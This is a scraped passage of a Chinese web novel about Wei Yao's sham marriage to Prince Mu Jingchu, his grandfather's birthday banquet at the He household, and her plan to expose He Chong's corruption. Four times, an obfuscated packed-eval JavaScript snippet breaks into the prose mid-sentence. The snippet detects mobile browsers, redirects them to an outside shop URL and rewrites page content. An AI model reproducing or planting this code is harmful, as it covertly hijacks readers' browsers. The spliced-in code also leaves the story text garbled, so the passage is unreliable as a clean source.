“您不知道，二姑娘嫁进许家之后的日子有多鸡飞狗跳。那状元郎瞧着体面，也肯听贺家的话，可她那婆婆却是个难缠的，听说二姑娘把夫人请过去喝了好几回茶，才给弹压住呢。” “相比起来，主子如今的日子可安生多了，若真能添个孩子，位子就更稳了，何必……”青穂实在无法理解，将眉头拧成了麻花。 魏窈笑了笑，抬手将她眉心抚平。 其实嫁给穆景初之前，她也担心过婚后的境遇，怕这条路同样荆棘坎坷。 毕竟这是王府，非同别家。 金楼玉阙里不止住着父子兄弟，还有至尊的权位与富贵。 寻常人家为着几分薄产，尚且有父子反目、兄弟成仇，乃至婆媳妯娌勾心斗角的，何况是天家？ 前世魏窈虽跟诸王府往来甚少，却也没少听皇室的事。譬如昭明帝登基之前惨烈的兄弟相争，譬如昭明三十一年的谋逆案，险些以子弑父。譬如而今的梁王府，眼下只是父子疏冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282493|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、新的王妃韩明漪风头渐盛，等再过些时候，若她没记错，就该是父子反目、传遍京城了。 而她孤身一人嫁进王府，又没个倚仗，这条孤注一掷的路可能藏有怎样的凶险，其实也曾令她深夜辗转。 好在惠王府稍有不同。 惠王妃性情慈和，穆景初兄弟各有爵位不至于起阋墙之祸，即便有个横挑鼻子竖挑眼的穆景姝，魏窈平素让着几分，那位好歹幼承家学，也不至于胡乱生事。 如此一来，日子确乎过得安生。 若穆景初是真心娶她，这样的夫家于魏窈而言确实是打着灯笼都难找的，魏窈必定愿意久留，好生相处。 可事实并非如此。 两人只是约定了成婚做戏，哪怕穆景初昨夜似起了欲念，那又如何呢？ 他身为郡王之尊，既担了夫妻的名分，真个想要同房成夫妻之实，魏窈也不能说什么——那是成婚之前早就提醒过的，穆景初若真有此心，没理由过于克制委屈自身，魏窈也不会违约。 可那之后呢？ 各取所需的假夫妻，八成还是要走到分道扬镳的时候。 魏窈相信以穆景初的行事和为人，真有那一天，应该会善待于她，好聚好散。 可孩子不一样。 若魏窈真个怀孕生了孩子，那就是王府血脉，届时必定要留在王府。 前世襁褓中的孩儿被魏淑云抱走的情形并未远去，魏窈知道母子分离是怎样的滋味，岂愿再尝一遍？何况，隔壁梁王府的例子就在跟前，等他日穆景初有了新欢，焉知那孩子会落入怎样的处境？ 魏窈若真枉顾往后，贸然生下个孩子，又对得起谁？ 倒不如早些避开身孕之患！ 这个决定昨夜魏窈已琢磨了很久，此刻没法跟青穂细说，只能敷衍过去。 末了，又叮嘱道：“你待会就去趟顺记小馆，将方子交给顾姨，回头找合适的时机把药拿回来。再去沈姐姐那里走一趟，请她有空时多陪陪顾姨。要过年了，我怕顾姨那儿空落落的，觉得孤单。” “奴婢晓得，这就去办。”青穂眼见劝不动魏窈，只能作罢，藏着药方去找门房要马车。 次日傍晚，避子汤的药果真拿来了。 青穂将腰包偷偷藏好后，还带了顾顺娘的一句话—— “她说汤药固然好，难保没有不便熬药的时候，到时候未免尴尬。且这东西毕竟伤身，主子年岁又小，万一有个错漏亏了根本，可不是闹着玩的。她说这东西不到万不得已断不可用，还请主子有空时去顺记小馆一趟，坐下来细细商量，寻个更稳妥的法子。” 这话正合魏窈的心意，不由低笑道：“我的顾姨啊，真越来越明事理了。” 避子汤在闺阁中是不能见光的东西，若是从前，谦默柔顺的顾妈妈哪会出这种主意？ 真个是时移世易，重活一回，不止她变了，就连顾妈妈都像是换了个人似的。 这念头冒出来，倒让魏窈微微一怔。 37. 037 翌日便是腊月廿六，贺崇的寿宴。 因着管家的命案悬而未决，朝堂上颇多对贺崇纵容家奴、治家不严的暗中议论，这宴席便没铺张。 席上菜色固然精致，宾客却掰着指头都数得过来—— 除了贺家人，听说就只贺氏和魏芝翰夫妇、魏淑云和许约夫妇，嫁去伯府的贺薇夫妇，再加上便宜外孙女魏窈和女婿穆景初。 算起来倒成了自家人的小聚。 魏窈同穆景初到贺府时，已是日上三竿。郡王之尊的牌面不用说，贺崇虽是今儿的老寿星，却仍亲自在厅中等候，笑迎出来。 穆景初嘴上客套，“今日是贺公寿宴，怎好劳您亲自出来。” 说着，有意无意地瞥了眼不远处偏门前停满的车马，道：“那边倒是挺热闹，想来贺公寿宴，也有不少人前来道喜。” “老朽正为这头疼呢，原想着自家人关上门热闹一番便罢，谁知底下人竟走漏了消息，这不，倒惊动了不少人。”贺崇脸上是一贯的笑意盈盈，“不过殿下放心，老朽早已吩咐下去了，今儿不受贺礼。但凡登门的，奉上一杯清茶就好生送回去，半点东西都不能留。” 这摆明了是做样子给人看。 旁边魏窈瞧着，垂眸压下讽笑。 贺崇这老东西贪婪成性，她前世早就领教过了。别说京城里官员这点子贺礼，就是昭明帝拿来修道观的银子都不知贪了多少，更勿论外头还有藏着的心腹替他敛财，在京城外不知置办了多少家业。 如今还好意思装清廉，这脸皮当真是厚如城墙。 魏窈听着穆景初跟贺崇的客套，扫了眼躬身跟在后面的伺候的管事，果真是从前跟在赵福生旁边做帮手的那个姓周的小管事。 这姓周的瞧着不起眼，背后名堂却不小。 有他当引子，魏窈很快就想好了回头在穆景初跟前添油加醋的由头，这会儿便只摆着郡王侧妃的端庄样子，随同入内。 到得厅里，人都已聚齐了。 贺老夫人被围在正中间，一边崔氏和贺薇母女俩，一边坐着贺氏和魏淑云，正在那儿拉婚后的家常。旁边则是贺云章父子、许约和贺薇的夫婿，对着一副新画的山水闲谈。 听得肃郡王来了，众人俱起身相迎。 穆景初原就是冷淡矜傲的性子，即使捏着鼻子来赴宴，也装不出多亲和的模样，只抬抬手道声免礼，在各自见礼后，依着贺崇的指引入席。 残冬将尽，贺家栽种的成片梅花正当盛开，今日的宴席就设在梅林之间，倒是颇有几分雅趣。 席上的人则更有趣。 且不提前世嫁进贺家后的龃龉，就是这回魏窈初入京城时，也没少在贺家跟前受气。从最初魏淑云造谣她乡野女子招惹肃郡王，到后来崔氏和贺老夫人因贺云章的婚事而对她居高临下的打量，在场这些个女眷无不自矜身份，将她视为乡野粗鄙之辈。 今日，却齐刷刷换上了奉承的笑脸。 崔氏婆媳和贺薇自不必说，一则不敢在郡王侧妃跟前放肆，再则穆景初正查办贺家管事的案子，在魏窈跟前自是说尽了好话。 贺氏纵有满腔暗愤，这会儿也只敢赔笑。 唯有魏淑云还未脱初嫁姑娘的性子，最初还能勉强管住嘴巴堆出假笑，等宴席过半，就渐渐有点露出本相来了—— “他平素待我很好，这阵子跟着外祖父历练，也长进了不少。就这样，晚上也常熬夜读书，不肯放下他那一肚子才学。”闲谈间提起状元郎许约，魏淑云就像打开了话匣子。 旁边贺氏瞧她有要翘起尾巴的架势，暗暗递了个眼色。 魏淑云却只当没瞧见。 嫁给状元郎这事，是她费尽心思才拿下的，早就幻想过无数次人前炫耀的风光情形。 先前因魏窈得皇帝赐婚，魏淑云被压得黯然失色，着实憋闷了许久，卯着劲儿要将风头抢回来。今日难得两处遇见，眼瞧着魏窈春风得意、众星捧月，她听了半天的吹捧，想着魏窈一介乡野女子、侧室之身，如今明晃晃地骑到她头上了，哪里还按捺得住？ 好容易等外祖母提起许约，立马就接了话茬。 见众人齐刷刷瞧过来，魏淑云甚是满意，端着酒杯笑道：“今日外祖父寿宴，我们当晚辈的自然要尽孝心，除了贺礼之外，他还用心写了篇贺文，连我都不给瞧，说是要亲自奉给外祖父呢。” 这话一说，倒勾起了众人的好奇。 家宴上原就只隔了纱屏，此刻酒过三巡，贺老夫人便命人将屏风撤去，笑眯眯的要听许约那篇贺文。 许约原本碍着两位连襟俱出身高贵，没打算当众抢风头，只打算私下献给贺崇以博取欢心的，此刻既被提及，也只能含笑奉上。 他这篇贺文确实写得极好。 辞藻靡丽，对仗工整，铺锦列绣似的，精心打磨得几乎字字珠玑。 众人听着那些佳句，连连叫好。 魏淑云愈发得意，眉梢都快挑得飞起来了，不时拿眼角睨向魏窈——凤子龙孙又如何？还不是只会舞刀弄枪的武夫！哪像许约文采斐然，能在科场摘得桂冠，也有满腹才学锦心绣口，端的是文雅风流！ 她满腔自得，就差问魏窈一句“能不能听懂”了。 这里藏了攀比之意将心思系于魏窈，几步之外，贺云章的视线也暗暗黏在魏窈身上。 纵使寿宴之前崔氏耳提面命，纵使知道这等场合不宜失态，今儿真个见到华衣美饰款款走来的魏窈时，他也险些管不住脚步。乃至方才宴席之间，虽说口中与贺崇父子一道，跟魏芝翰、穆景初等人谈笑风生，却总忍不住留一份心思在纱屏后面。 如今纱屏撤去，美人含笑近在眼前，几杯酒下肚之后，贺云章哪里还管得住眼目光？ 耳边是许约朗朗念出的贺文，脑海里却无端浮现魏窈婚后可能的情形，想到这曼妙美人落入穆景初怀中，直令他暗生羡嫉。 贺文念罢，许约将裱好的卷轴铺在案上。 魏窈与众人一道凑上前去，看那龙飞凤舞的状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291042|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元墨迹。 贺云章再也忍耐不住，悄悄凑近一些。 穆景初见状，眼神骤然冷沉。 这厮当真是不想要那双不懂事的眼珠子了？ …… 暖厅里酒香浮动，言笑晏晏。 贺云章像是被磁石勾着似的往前走，还没挪到魏窈后面呢，就被崔氏给拦住了。 “忽然想起来有件东西落在你父亲那里了，待会怕是要用，你去帮我取来。”崔氏拿家常语调笑吟吟说着，拽了贺云章退到女眷之外，背过人时才低声斥道：“要想找死，自己找个山头跳下去，别在这丢人显眼！” “那位爷什么身份，许你这样在眼皮底下放肆？难道你想害死全家不成！” 她的语气甚是严厉，往贺云章腕上狠狠一掐，登时疼得他酒醒了大半。 他恍然惊觉，下意识看向穆景初。 正巧那位瞥过这边，眼神虽轻飘飘的，脸上却没半点笑意。就那么眼神一顿的间隙，竟无端让贺云章脊背生寒。 他不敢迎视，顿时垂下眼睛。 穆景初眼底掠过讽嘲，懒得再看那对母子做戏，只淡声开口道：“文章写得好，字也有风骨。” 许约未料能得他青眼夸赞，当即作揖自谦。 穆景初旋即看向贺崇，“贺公深得圣心，如今膝下也算人才济济。皇祖父亲挑的状元郎不必说，听闻令孙也长进不少，办事时颇有章法。” “殿下谬赞了。”贺崇笑得有点尴尬。 许约是凭真本事入仕，状元郎的才学足够让他在同侪面前不落下风。但贺云章却不同，虽说贺崇费尽心思延请名师，读书上却始终没什么长进，博不到傍身的功名。 这阵子贺崇借着为昭明帝修道观的机会，带贺云章办些事情，也是想借此攒点本钱，回头不管是凭捐官还是荫封入仕，总归能好看些。 此刻穆景初忽然出言夸赞，贺崇清楚自家孙儿的能耐，难免有点讪讪的。 穆景初却视若无睹，借着寿宴的氛围，竟主动提起该给贺云章谋个职位，方不负素日辛劳，就连官位名目都想好了。 贺崇尚且不知贺云章未死的贼心，方才沉溺在贺文之中没留意旁的，只知道穆景初今日待魏芝翰甚是亲厚，颇有点沉迷美色、爱屋及乌的意思。此刻竟又肯主动亲近于他，连给的官位都是他十分中意的，自是喜出望外。 于是宾客尽欢，一派和睦。 唯有魏窈压住眼底的笑，垂眸喝茶掩饰。 要说穆景初这人也是有点蔫儿坏的。 昭明帝为求长生，对这座道观极为上心，选材用料无不奢靡，拨过去的银钱更是跟流水似的。靡费巨资修筑宫殿，当中的油水自不必说，穆景初举荐贺云章去管账目的事，瞧着是投贺崇之所好，可他当真有那样好心？ 肥差在手，大权在握，以贺家人的秉性，哪会管得住手？ 放贺云章这么个新手去管账，做事难免有不周之处，届时要寻错处留证据，可就简单多了。 38. 038 这场寿宴虽说宾客不多，办得倒是十分用心。 精致的酒席之外还备了小戏佐兴。 穆景初被劝了不少的酒，喝醉后还被人送去客房歇息了半个时辰，卫玄铮和知白在侧侍卫。这俩人的眼睛都成了精，来回路程加上半个时辰的歇息，再添上来之前探的消息，一趟下来，已然将贺府的格局防卫了然于胸。 待得宴毕，穆景初满意动身。 贺崇被儿孙们恭维整日，见穆景初待魏芝翰甚是亲厚，只当是这位小郡王心思活泛了，将先前的疑虑消弭了大半，还亲自送出府门。 其时已近傍晚，门前料峭清寒。 穆景初牵着魏窈的手，醉后的身姿不复平常山岳般端然，只有些摇晃地靠在魏窈身上，临登车时还不忘请贺崇留步。 贺崇酒意半酣，满面堆笑。 他的身后，贺云章喝得脸上绯红，也不顾崔氏和仆从阻拦，脚步有些踉跄地跟在后面，执意要送客人一程。 这是在追着送谁，显而易见。 穆景初懒得多给他眼神，只将那觊觎的姿态暗暗记下。 直到软帘落下，他才敛了面上淡淡笑意，有些疲惫地靠在厢壁，抬手轻揉眉心。 魏窈坐在身侧，打量他的神情。 即使成婚的时日还不长，夫妻朝夕相处之下，她对穆景初的性情也增了几分了解。出身尊贵的郡王爷，又是沙场上身先士卒冲锋陷阵过的，身上自有铮铮傲骨，原本不太会跟贺崇那等狗贼为伍。 今日席间，当着众人的面，穆景初挽着她的手举止体贴，待贺崇和魏芝翰翁婿俩也颇有亲厚之态，实在跟往常迥然不同。 若非另有所图，实在无需如此。 埋在心底的疑惑渐而明晰，她纵然不清楚穆景初跟贺崇之间有何过节，瞧着此刻穆景初疲惫不耐烦的神情，也知他绝非真心亲近贺家。 这就好办了！ 魏窈等马车走远些，穆景初揉完眉心后歇息了半天，才试探着开口，“殿下今日喝了不少，要不我让知白先回府，安排人备好醒酒汤？” “不用。”穆景初仍旧闭着眼睛。 车厢里有酒意萦绕，他的脸颊也在酒后添了几分暖意，不过声线已然恢复清朗，绝非方才的装醉模样。 看来确实没喝多。 魏窈甚喜，趁热打铁道：“今日在贺家，有件事情我觉得有些古怪，斟酌过后，觉得还是该跟殿下说明白才好。” 穆景初闻言睁开眼睛，侧头看向她。 同样被众星捧月般招待过后，今日魏窈也喝了不少，脸蛋儿红扑扑的，因着脂粉遮盖，倒显出种诱人的粉色来。红唇愈增娇艳不说，就连那双眼睛都似被酒意熏出雾气，瞧着湿润而朦胧。 熟悉的香味浮在鼻端，窄仄的车厢中肩臂相贴，只消稍稍伸手，便可将她困于角落。 就像那次在书房…… 穆景初强压着翻涌欲起的念头，不知怎的，忽然就想起了贺云章追着送别魏窈的情形，想起卫玄铮曾说，贺氏原本有意促成那桩婚事。而贺云章狗胆包天，竟然还追去佛寺堵魏窈，大放厥词。 “那个贺云章，”他倾身靠近些，几乎压在魏窈肩上，“他喜欢你？” 出乎意料的问题，让魏窈微微一愣。 ——天可怜见，她原本是想借机抖出周管事背后的隐情，好让穆景初顺蔓摸瓜，将贺家查个底朝天的。 但他既然问了，魏窈情知否认无用，只能含糊道：“大约有点吧，管他呢……” 话音未落，便被尽数堵住。 穆景初毫无征兆地亲了过来，卷着一身的酒气，微烫指尖摩挲着她脸颊，唇瓣肆意游走。比起上回的生疏笨拙，这次他亲得倒很熟练，末了，犹嫌不够似的，竟在她唇上轻轻咬了下。 魏窈被亲得涨红了脸，有些嗔恼地抬眸看他。 “别忘了，你是我的人。”穆景初一手搂着她的腰，一手抚弄着温软脸颊，将她压在厢壁上，声音微哑，“下回他再敢放肆，让知白剁了他手脚，看他如何跟踪。” 这话说得……倒让魏窈闻到了些许醋味。 碧螺寺的事都过去多久了，他竟还惦记着，又是在酒后说出来，当真是……深藏不露。 魏窈忍不住一笑。 这么一笑，顿时让穆景初生出种心事被窥破的懊恼，手上力道一重，再次倾身压了过去。 街市上传来邻近年节的热闹笑语，马车一隅，魏窈被他困在怀里，周遭唯有他混着酒意的鼻息，在唇齿纠缠之间，肆意攫取。 直到魏窈被亲得软软告饶，才算放过她。 …… 直到走进熹微山房的时，魏窈脑袋里还晕乎乎的。 也不知是酒意上涌，还是被亲懵了。 好在穆景初回府后就被惠王爷叫去了书房，到晚上都没回来，据遣来传话的孙嬷嬷说，是有件紧急的事要处置，今晚暂且不回屋歇息。 魏窈便自用了饭，安顿睡下。 这一夜，魏窈失眠了。 翌日清晨照旧早起，命人将备好的早饭送去穆景初的书房，而后如常去惠王妃那里问安。 食盒由青穂亲自送到小书房，穆景初尝着那味道，甚是满意。 而后更换衣衫，去赴年节前的最后一次朝会。 大约是年节邻近满城喜庆，朝会的氛围都比平素融洽了许多，君臣间略商议了几件事便散了。 只不过各处的衙门虽暂且关门，朝堂的事情却并不会就此罢休。 昭明帝自打穆景初主动提出迎娶贺崇的外孙女后，对这位孙儿倒添了几分欣赏，因建造道观所用的金丝楠木又出了些岔子，昭明帝有意息事宁人，便将穆景初单独叫到后殿，嘱他亲自去办，万勿延误。 穆景初既已看清皇祖父在道观上的用心，也无从推辞。 只是这种事毕竟有违本心，穆景初固然领了皇命，心绪却不甚好，出宫时沉眉抿着唇，脚步都比平常快了几分。 正巧梁王入宫禀事，两人迎面撞见，那位竟自顿住脚步，笑道：“景初果真是长大了。办事日益老练，想来皇上很高兴。” “见过梁王叔。”穆景初没理会着暗含酸意的调侃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294629|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只端正见礼。 梁王摆摆手，“听闻昨日贺崇寿宴，只请了儿孙们相聚，景初携侧妃赴宴，很让贺崇脸上有光。外间还有人猜测呢，贺家管事的案子还在你手上放着，这姻亲一认，可就不能不手软了。” “皇祖父亲自赐婚，又亲自命我关照，总不能太疏冷。”穆景初道。 “原来是父皇的意思。”梁王朗然一笑，“我还以为是你忽然转了性子，真个要跟贺崇那种人同流合污了。也罢，父皇要修建道观，贺崇如今是左膀右臂，难免要留情几分，难为你了。” 说着，拍拍穆景初的肩，仍抬步去见昭明帝。 走出一段路，回头见穆景初已拐出宫门，又叹了口气，“眼瞧着景初是越来越得皇上欢心了，景渊要是能这么懂事就好了。” “世子年纪还小呢，还得王爷栽培指点。”随从劝道。 “还小？景初在他这年纪，早就立下军功了。”梁王想起儿子就觉得头疼，“老二瘸了个腿不出门，养的儿子倒有能耐。” 随从猜得其意，低声道：“再能耐，也越不过王爷啊。” 这话倒也是。 东宫里连着英年早逝了两位，昭明帝沉迷于求长生，至今都不让人提立储的事。好在父子兄弟的辈分摆在那里，若真是昭明帝出什么岔子，老二有腿疾无缘皇位，穆景初再怎么得青眼，也没能耐跟叔叔们争。 只不过…… “景初毕竟过继了文孺，如今又跟贺崇搅到一起，若哪天说动皇上，再立文孺当个什么皇玄孙，怕也是个祸患。”梁王放缓脚步，声音更低。 随从低声道：“贺崇在朝中，可远不及韩相。” “话虽如此，到底也是个祸患。”梁王喃喃，想到那个父母双亡、险些在娘胎里丧命的孩子，眉头渐渐拧紧。 …… 被人惦记着的小文孺这会儿正在显摆他的小弓箭。 魏窈坐在旁边，笑吟吟瞧着。 自打从别苑回来之后，文孺待她就亲近了许多。方才用过饭后，因先生也该回家过年了，他没了课业压着，就兴冲冲的想去练骑射，还将房里挂着的新得的小弓箭取来，向魏窈夸耀这张弓的来处。 小家伙年岁不大，懂的却不少，从弓弦到握把，从材质到力道，说起来头头是道的，倒让魏窈也长了不少学问。 后来聊得起了些兴致，还借着送文孺去靶场的由头，到那里射了会儿箭，算是温习先前穆景初教的技艺。 过后回到院中，安顿晚饭。 到傍晚时分，孙嬷嬷又来传话，说穆景初有事要出趟远门，今晚需在书房收拾些东西，就不回来用饭了。 魏窈听了这消息，不由蹙起眉头。 昨儿被穆景初亲懵了，后半程晕乎乎的，到底没再跟他提起周管事的事情。如今他又要出门……贺家管事的案子拖不了太久，万一穆景初这趟回来得太晚，届时再说此事，未必能赶上好机会。 既已确信穆景初的态度，又在寿宴上找好了由头，魏窈斟酌过后，让人将饭菜装进食盒，命两个嬷嬷拎着往穆景初的书房去。 39. 039 天色渐暗，空中渐有浓云堆积，晚风都似夹了冰凉的刀刃。 魏窈披着昭君兜，到了书房外的松柏跟前，先跟卫玄铮打个招呼，请他进去通报一声—— 书房重地，除了安放卷册书籍，许多时候还会拿来放文书等物。尤其是王府这种地方，长史司就设在外院，许多事情除了请示惠王和世子之外，还会请示穆景初的意思。 且穆景初虽得封郡王，因仍住在惠王府，并无单独的长史协助，这书房便更添了一层功用。 魏窈初来乍到，可不敢放肆。 好在穆景初也不是特别忙，卫玄铮禀报过后，很快就走出来，请魏窈进去，又接了嬷嬷手中的食盒。 推门进屋，站在案后的穆景初已搁下了笔，扫了眼食盒，便从长案后踱步出来，口中道：“正好饿了，做了些什么？” 魏窈便将菜色报给他听。 穆景初听着都是合自己胃口的，不由轻勾唇角，洗了手后让孙嬷嬷将饭菜摆在梢间，留下魏窈一道用饭。 书房里伺候的人不多，待孙嬷嬷和卫玄铮退出，屋中便只剩夫妻俩。 烛火静照，屋中的气氛稍有点沉默。 ——实在是昨日穆景初太反常，初时的亲吻视作告诫也就罢了，后半程压着魏窈肆意攫取，勾得魏窈都有些遭不住，险些情不自禁。当时有酒意遮脸便罢，此刻屋中独处，两人不自觉想起昨日情形，心头难免有点微妙。 还是魏窈惦记着正事，先打破沉默。 “听孙嬷嬷说，殿下有事要离开京城，过些日子再回来？” “嗯，皇上派了件差事。” “多久能回来呢？” “快则半月，慢就不好说了。” “唔。”魏窈咬着才搛的夹了肉末的茄子，闷头扒拉一口香喷喷的米饭。吃完这口，便暂将碗筷搁下，正色道：“其实今日赶着过来，是有件事想说给殿下听，怕晚了会误事。” 穆景初闻言，筷箸微顿。 方才有那么一瞬，他甚至以为，是魏窈得知他要远行后心有不舍，特地来送行。 却原来是有事。 他脸上的神情未起波澜，只扒拉着盘中的小炒羊肉，垂目道：“说说看。” “这件事是关于贺家的。昨日去赴宴时，瞧见那位新换的小周管事，倒让我想起件旧事来，觉得里头或许有蹊跷。”魏窈抬眸，轻声道：“殿下是否听说过，贺大人年轻时身边曾有个小厮，名叫周方远。” 这名字着实耳生，穆景初不由搁下碗筷，看向了她。 视线相接，魏窈轻笑了笑。 周方远这个名字，京城里怕是没几个人知道，甚至魏芝翰都未必知情。 她也是前世在贺云章喝醉了不慎说漏嘴时才得知此人的，后来留心打探，加上贺云章醉酒后对她不太隐瞒，才慢慢拼凑出全貌来。 也是那时，魏窈才知道，贺崇在京城还算收敛，在京城之外山高水远之处，借着周方远的手，不知贪了多少田地财产、害了多少无辜人命。 此刻对着穆景初，魏窈已然想好了由头—— “先前我初入京城时，曾跟着继母去过贺家。我因不爱听她们闲谈，就寻了借口出去，在外面透口气，正好听见贺老夫人身边的仆妇小声议论，说幽州有个商贾的老宅被百姓烧了，动静闹得太大惊动官府，竟劳动周小爷求到了府里。” “我听她们那语气，这位周小爷，倒像是偏帮着被烧的商贾，想请贺家息事宁人的。” 她陈述得平静，却让穆景初眉头微拧—— 能让百姓愤而烧家的，大约不是良善之辈，贺崇敛财成性，手都伸到幽州去了？ “这姓周的，就是周方远？”他问。 魏窈点了点头，“我当时听着这事情古怪，就留了心。后来使人用银钱打点，在贺家打探了好一阵子，才知道贺家的管事赵福生是半路提拔起来的，早先的心腹名叫周方远，打小就是主仆，却在贺大人步步高升时离开了京城。只留个亲弟弟在府里，做着个闲散差事。” “我原以为是他们主仆离心、一拍两散，才让周方远离开京城。直到那日去赴寿宴，瞧着贺大人竟让那位姓周的小管事接替了赵福生，才忽然明白过来，这背后或许另有隐情。” 这隐情大约是何模样，穆景初久在朝堂，看惯了那些藏在阴暗处的手段，很容易就能推想出来。 藏在暗处的臂膀，确乎是条大鱼。 若魏窈没听错，他派人去幽州探查，被百姓烧了老宅的商贾应该不难找，届时顺蔓摸瓜，应能有所收获。 只是…… 他觑着魏窈，缓缓饮下杯中香茶，道：“要探这种消息，想必费了不少银钱。你对贺家的事倒是很上心。” 这话不是拈酸吃醋，而藏了几分戒备试探，魏窈听得出来。 事关朝政，魏窈明白穆景初的顾虑。 她坐直身子，迎着他的眼睛，郑重道：“京城中人人都视我为贺崇的外孙女，可殿下是否知道，其实我跟贺家之间，藏着积年深仇。” 这话一出，饶是沉着如穆景初，都有点愣住了。 在请昭明帝赐婚之前，他确乎让卫玄铮查过魏窈的底细，知道她跟贺氏之间处得并不融洽，甚至颇多龃龉。 但积年深仇几个字仍在他意料之外。 他不自觉凝了神色，就听魏窈道：“殿下有所不知，我之所以自幼流落乡野、我的亲生母亲之所以下落不明，都是拜贺家所赐！如今我的母亲生死未卜，恐怕唯有贺家失势、没了只手遮天的能耐，我才有机会寻到她的下落。” “我定要找到母亲，无论生死！” 藏了暗恨的话语，一字一字的，砸在穆景初心上。 …… 书房里片刻安静，穆景初瞧着魏窈的眼睛，在其中读到她从未流露过的愤恨与坚决。 随之竟在心底泛起稍许歉疚。 即使魏窈在回门那日就曾摆明过态度，他却总存有一丝顾虑，想着魏窈孤身在京，万一哪天情势紧迫时脑子犯糊涂，可能会偏到魏芝翰那边，继而为贺崇所利用。 却原来她早就知道，魏芝翰这个生父不可依靠。 穆景初对着那双漂亮的眉眼，想起江陵城初见时，她穿着半旧的粗绢衣裙找到他的门前，就那样安静的站在竹丛之外。 后来京城里再度相逢，机缘巧合之下，她答应与他假意成婚敷衍长辈，焉知不是拿终身大事做赌注，博取一丝寻回母亲的机会？ 不论她初衷如何，此时此刻，穆景初心底里实打实的泛起了疼惜。 “你母亲的事，有线索么？”他问。 “暂且没有，但假以时日总能问出来的。毕竟，当年那些人都还好端端的活着。”魏窈说到此处，轻吁了口气，起身给穆景初添饭添汤，温声道：“殿下先用饭吧，免得凉了。” 穆景初颔首，再尝那些精致的菜色时，竟似稍稍失了滋味，不由问起当年的情形。 魏窈便将顾顺娘所说的讲给他听。 天色愈暗，烛光渐明。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299876|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等这顿饭吃完，竟已是戌时过半了。 魏窈了却心头一桩大事，瞧着穆景初吃完了，便亲自将碗筷收起来，又道：“殿下这儿既有公事，就接着忙吧，我不再打搅了。”说着，出声请孙嬷嬷进来，两人一道将碗盏收回食盒。 孙嬷嬷五十余岁，虽说手脚还算利落，到底年岁有些大了。 魏窈怕她拎两个食盒吃力，披好昭君兜后，才要伸手帮着拿一个，指尖却忽然被穆景初按住。 “玄铮——” 穆景初扬声叫卫玄铮进来，命他将食盒送回熹微山房。 卫玄铮应命，与孙嬷嬷一道退下。 魏窈瞧他没旁的吩咐，也自告退打算离开，转过身还没走出两步，手腕忽又被人握住。旋即男人稍稍使力，她毫无防备地被拽回去，又一次撞进他的怀里。 隔着单薄的衣衫，掌腕肌肤相贴时，这怀抱的气息也渐而熟悉。 魏窈愕然抬眸，瞧见穆景初唇角勾着的笑。 “我这趟办差时日不短，年节里应酬多，你出门时记得带上直白。若有拿不准的事，只管问我母亲。”他出言叮嘱，难得预期温和。 魏窈莞尔，“殿下放心就是。外面山高水长，天气又寒冷，殿下也得保重自身。” 说罢，见他没旁的吩咐，便又想告辞。 还没张口呢，就被穆景初打断—— “今晚住这儿，别回了。” 魏窈一怔，不自觉想起那日马车里被他按着喘息的情形，想起这男人几次三番的亲密试探，眼底骤然添了点慌乱。 却见穆景初抬了抬下巴，失笑道：“外面下雪了，你不知道？” “下雪了？”魏窈这是真不知道。 穆景初颔首，牵着她的手往门口走，“时候不早了，雪天又路滑。母亲若知道我放你雪夜赶路，怕是又要唠叨。” 说话间推开书房门扇，就见外头大雪漫天，黑漆漆的苍穹里鹅毛般的雪片密密匝匝飘摇下来，在游廊灯火映照之下，微露晶莹之色。 雪不知是何时下起来的，早已在地上覆了不薄的一层，只留几排蜿蜒的脚印。 夜风卷来雪片，带着刺骨的清寒。 天地间却格外的安静，似乎都能听到那簌簌的雪落之声。 魏窈抬目望着漫天的雪花，笑意渐渐自眼底浮起，好奇道：“殿下怎么知道下雪了？我瞧孙嬷嬷他们身上也没积雪啊。” 穆景初一笑，却没回答。 